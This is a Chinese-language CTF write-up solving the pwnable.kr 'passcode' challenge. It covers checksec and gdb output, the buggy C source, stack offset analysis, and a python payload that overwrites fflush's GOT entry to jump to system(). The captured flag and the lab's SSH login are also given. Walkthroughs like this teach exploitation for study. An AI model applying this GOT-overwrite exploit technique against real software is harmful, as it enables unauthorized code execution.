依然是题目描述:
Mommy told me to make a passcode based login system.
My initial C code was compiled without any error!
Well, there was some compiler warning, but who cares about that?
ssh [email protected] -p2222 (pw:guest)
连上后,目录下有c源码和可执行文件,
首先查看下程序开了那些防护措施:
gdb-peda$ checksec
CANARY : ENABLED
FORTIFY : disabled
NX : ENABLED
PIE : disabled
RELRO : Partial
这里开启了canary,所以我们只能够利用一次任意内存写的功能,无法通过写入shellcode 再到跳转到shellcode的地址来exploit(至少写文章的时候我还不会其他方法),同样的我们在反汇编的代码中也可以看出来采用了canary:
gdb-peda$ disas welcome
Dump of assembler code for function welcome:
0x08048609 <+0>: push ebp
0x0804860a <+1>: mov ebp,esp
0x0804860c <+3>: sub esp,0x88
0x08048612 <+9>: mov eax,gs:0x14
0x08048618 <+15>: mov DWORD PTR [ebp-0xc],eax
0x0804861b <+18>: xor eax,eax
0x0804861d <+20>: mov eax,0x80487cb
0x08048622 <+25>: mov DWORD PTR [esp],eax
0x08048625 <+28>: call 0x8048420 printf@plt
0x0804862a <+33>: mov eax,0x80487dd
0x0804862f <+38>: lea edx,[ebp-0x70]
0x08048632 <+41>: mov DWORD PTR [esp+0x4],edx
0x08048636 <+45>: mov DWORD PTR [esp],eax
0x08048639 <+48>: call 0x80484a0 <__isoc99_scanf@plt>
0x0804863e <+53>: mov eax,0x80487e3
0x08048643 <+58>: lea edx,[ebp-0x70]
0x08048646 <+61>: mov DWORD PTR [esp+0x4],edx
0x0804864a <+65>: mov DWORD PTR [esp],eax
0x0804864d <+68>: call 0x8048420 printf@plt
0x08048652 <+73>: mov eax,DWORD PTR [ebp-0xc]
0x08048655 <+76>: xor eax,DWORD PTR gs:0x14
0x0804865c <+83>: je 0x8048663 <welcome+90>
0x0804865e <+85>: call 0x8048440 <__stack_chk_fail@plt>
0x08048663 <+90>: leave
0x08048664 <+91>: ret
End of assembler dump.
开始的时候有个mov eax, gs:0x14,结尾的时候有个xor eax,gs:0x14,通过存储函数运行前后堆栈的状态来判断是否有栈溢出,从而进行保护。这里如果我们要进行利用,只能在结束的检测之前利用完成,或者在检测中只是进行构造利用代码,不影响栈的状态,然后在随后的程序中进行利用。
源码为:
#include <stdio.h> #include <stdlib.h> void login(){ int passcode1; int passcode2; printf("enter passcode1 : "); scanf("%d", passcode1); fflush(stdin); // ha! mommy told me that 32bit is vulnerable to bruteforcing 🙂 printf("enter passcode2 : "); scanf("%d", passcode2); printf("checking...\n"); if(passcode1==338150 && passcode2==13371337){ printf("Login OK!\n"); system("/bin/cat flag"); } else{ printf("Login Failed!\n"); exit(0); } } void welcome(){ char name[100]; printf("enter you name : "); scanf("%100s", name); printf("Welcome %s!\n", name); } int main(){ printf("Toddler's Secure Login System 1.0 beta.\n"); welcome(); login(); // something after login... printf("Now I can safely trust you that you have credential :)\n"); return 0; }
我们可以看到scanf接受的参数写错了,没有加取地址符号,这样就会把参数中的数值作为地址进行写入了,现在的问题是我们如何来控制passcode1的内容呢?我们用gdb对程序进行调试:
gdb-peda$ r
Starting program: /root/Desktop/passcode
Toddler’s Secure Login System 1.0 beta.
[———————————-registers———————————–]
EAX: 0x28 (‘(‘)
EBX: 0x0
ECX: 0xf7fd3028 –> 0x0
EDX: 0xf7fb0870 –> 0x0
ESI: 0x1
EDI: 0xf7faf000 –> 0x1b3db0
EBP: 0xffffd888 –> 0xffffd8a8 –> 0x0
ESP: 0xffffd800 –> 0xf7fafd60 –> 0xfbad2a84
EIP: 0x8048612 (<welcome+9>: mov eax,gs:0x14)
EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[————————————-code————————————-]
0x8048609
: push ebp
0x804860a <welcome+1>: mov ebp,esp
0x804860c <welcome+3>: sub esp,0x88
=> 0x8048612 <welcome+9>: mov eax,gs:0x14
0x8048618 <welcome+15>: mov DWORD PTR [ebp-0xc],eax
0x804861b <welcome+18>: xor eax,eax
0x804861d <welcome+20>: mov eax,0x80487cb
0x8048622 <welcome+25>: mov DWORD PTR [esp],eax
[————————————stack————————————-]
0000 0xffffd800 –> 0xf7fafd60 –> 0xfbad2a84
0004 0xffffd804 –> 0x27 (“‘”)
0008 0xffffd808 –> 0xf7fafd60 –> 0xfbad2a84
0012 0xffffd80c –> 0xf7e6734b (<_IO_file_overflow+219>: add esp,0x10)
0016 0xffffd810 –> 0xf7fafd60 –> 0xfbad2a84
0020 0xffffd814 –> 0xf7fd3000 (“Toddler’s Secure Login System 1.0 beta.\n”)
0024 0xffffd818 –> 0x28 (‘(‘)
0028 0xffffd81c –> 0xf7e6727c (<_IO_file_overflow+12>: add edx,0x147d84)
[——————————————————————————]
Legend: code, data, rodata, value
Breakpoint 1, 0x08048612 in welcome ()
当我们断点在welcome函数中时,ebp的内容为:0xffffd888
gdb-peda$ c
Continuing.
enter you name : aaaaa
Welcome aaaaa!
[———————————-registers———————————–]
EAX: 0x0
EBX: 0x0
ECX: 0x7ffffff2
EDX: 0xf7fb0870 –> 0x0
ESI: 0x1
EDI: 0xf7faf000 –> 0x1b3db0
EBP: 0xffffd888 –> 0xffffd8a8 –> 0x0
ESP: 0xffffd860 –> 0xf7fe83cb (add ebp,0x14c35)
EIP: 0x804856a (<login+6>: mov eax,0x8048770)
EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[————————————-code————————————-]
0x8048564
: push ebp
0x8048565 <login+1>: mov ebp,esp
0x8048567 <login+3>: sub esp,0x28
=> 0x804856a <login+6>: mov eax,0x8048770
0x804856f <login+11>: mov DWORD PTR [esp],eax
0x8048572 <login+14>: call 0x8048420 printf@plt
0x8048577 <login+19>: mov eax,0x8048783
0x804857c <login+24>: mov edx,DWORD PTR [ebp-0x10]
[————————————stack————————————-]
0000 0xffffd860 –> 0xf7fe83cb (add ebp,0x14c35)
0004 0xffffd864 –> 0xf7dfa700 (0xf7dfa700)
0008 0xffffd868 –> 0x0
0012 0xffffd86c –> 0xf7fafd60 –> 0xfbad2a84
0016 0xffffd870 –> 0xffffd8a8 –> 0x0
0020 0xffffd874 –> 0xf7feec80 (pop edx)
0024 0xffffd878 –> 0xf7e5cbeb (<puts+11>: add ebx,0x152415)
0028 0xffffd87c –> 0xfb14c000
[——————————————————————————]
Legend: code, data, rodata, value
Breakpoint 2, 0x0804856a in login ()
当我们断在login函数中时,发现ebp的内容也为:0xffffd888。
在ida中我们发现,name的地址为:[ebp-70h] passcode1的地址为[ebp-10h],两个地址在同一个堆栈中,而且相差为70h-10h=60h=96,而name的大小为100个字节,那么正好我们可以通过name的后四个字节来覆盖passcode1的内容。
接下来如何利用写入passcode1的地址来控制eip跳转到执行cat flag的地方,或者是跳转到我们的shellcode呢?
这里使用了GOT覆盖技术,GOT覆盖可以理解为一个程序中调用函数的表,我们利用name的后四个字节控制了scanf写入内容的地址,然后通过scanf改写GOT表,使eip跳转到我们制定的地方,我们看下程序中调用system的地址:
0x080485e3 <+127>: mov DWORD PTR [esp],0x80487af
0x080485ea <+134>: call 0x8048460 system@plt
可以看到地址为0x080485e3 这个地址是我们需要将GOT表中内容覆盖的地址,换成10进制就是:134514147,我们再看下passcode的GOT表:
➜ Desktop readelf -r passcode
Relocation section ‘.rel.dyn’ at offset 0x388 contains 2 entries:
Offset Info Type Sym.Value Sym. Name
08049ff0 00000606 R_386_GLOB_DAT 00000000 \_gmon_start\_
0804a02c 00000b05 R_386_COPY 0804a02c stdin@GLIBC_2.0
Relocation section ‘.rel.plt’ at offset 0x398 contains 9 entries:
Offset Info Type Sym.Value Sym. Name
0804a000 00000107 R_386_JUMP_SLOT 00000000 printf@GLIBC_2.0
0804a004 00000207 R_386_JUMP_SLOT 00000000 fflush@GLIBC_2.0
0804a008 00000307 R_386_JUMP_SLOT 00000000 __stack_chk_fail@GLIBC_2.4
0804a00c 00000407 R_386_JUMP_SLOT 00000000 puts@GLIBC_2.0
0804a010 00000507 R_386_JUMP_SLOT 00000000 system@GLIBC_2.0
0804a014 00000607 R_386_JUMP_SLOT 00000000 \_gmon_start\_
0804a018 00000707 R_386_JUMP_SLOT 00000000 exit@GLIBC_2.0
0804a01c 00000807 R_386_JUMP_SLOT 00000000 __libc_start_main@GLIBC_2.0
0804a020 00000907 R_386_JUMP_SLOT 00000000 __isoc99_scanf@GLIBC_2.7
我们看到在system和printf passcode1之间调用了printf fflush,所以这些函数在GOT中的地址我们都可以利用,这里选择fflush的地址0x0804a004,这个地址是需要利用name的后四位进行覆盖的,所以我们最终的payload为:
passcode@ubuntu:~$ python -c “print(‘a’*96+’\x04\xa0\x04\x08\n’+’134514147\n’)” ./passcode
Toddler’s Secure Login System 1.0 beta.
enter you name : Welcome aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa�!
Sorry mom.. I got confused about scanf usage 🙁
enter passcode1 : Now I can safely trust you that you have credential 🙂
所以flag为:
Sorry mom.. I got confused about scanf usage 🙁